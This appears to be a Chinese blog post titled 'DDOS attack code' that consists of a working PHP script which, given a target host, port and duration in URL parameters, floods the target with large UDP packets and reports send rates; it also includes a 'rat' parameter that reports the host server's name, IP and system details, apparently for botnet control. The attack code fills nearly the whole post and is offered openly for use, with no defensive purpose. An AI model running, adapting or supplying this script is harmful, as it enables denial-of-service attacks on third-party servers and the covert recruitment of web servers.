DDOS攻击代码

<?php
//设置脚本运行时间
set_time_limit(999999);

//攻击目标服务器ip
$host = $_GET['host'];

//攻击目标服务器端口
$port = $_GET['port'];

//攻击时长
$exec_time = $_GET['time'];

//每次发送字节数
$Sendlen = 65535;
$packets = 0;

//设置客户机断开不终止脚本的执行
ignore_user_abort(TRUE);

//step1. 目标服务器$host、端口$port、运行时长$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {    
	if (StrLen($_GET['rat']) <> 0) {       
		echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_software'] . $_GET['rat'];        
		exit;    
	}   
	echo "Warning to: opening";    
	exit;
}

//step2. 设定发字符串$out,这里是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {    
	$out .= "A";
}
$max_time = time() + $exec_time;

//step3. 进行攻击,使用udp向目标服务器狠狠发串串
while (1) {    
	$packets++;    
	if (time() > $max_time) {        
		break;    
	}    
	$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);    
	if ($fp) {        
		fwrite($fp, $out);        
		fclose($fp);    
	}
}

//step4. 攻击统计
echo "Send Host $host:$port";
echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb";
echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";

?> 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值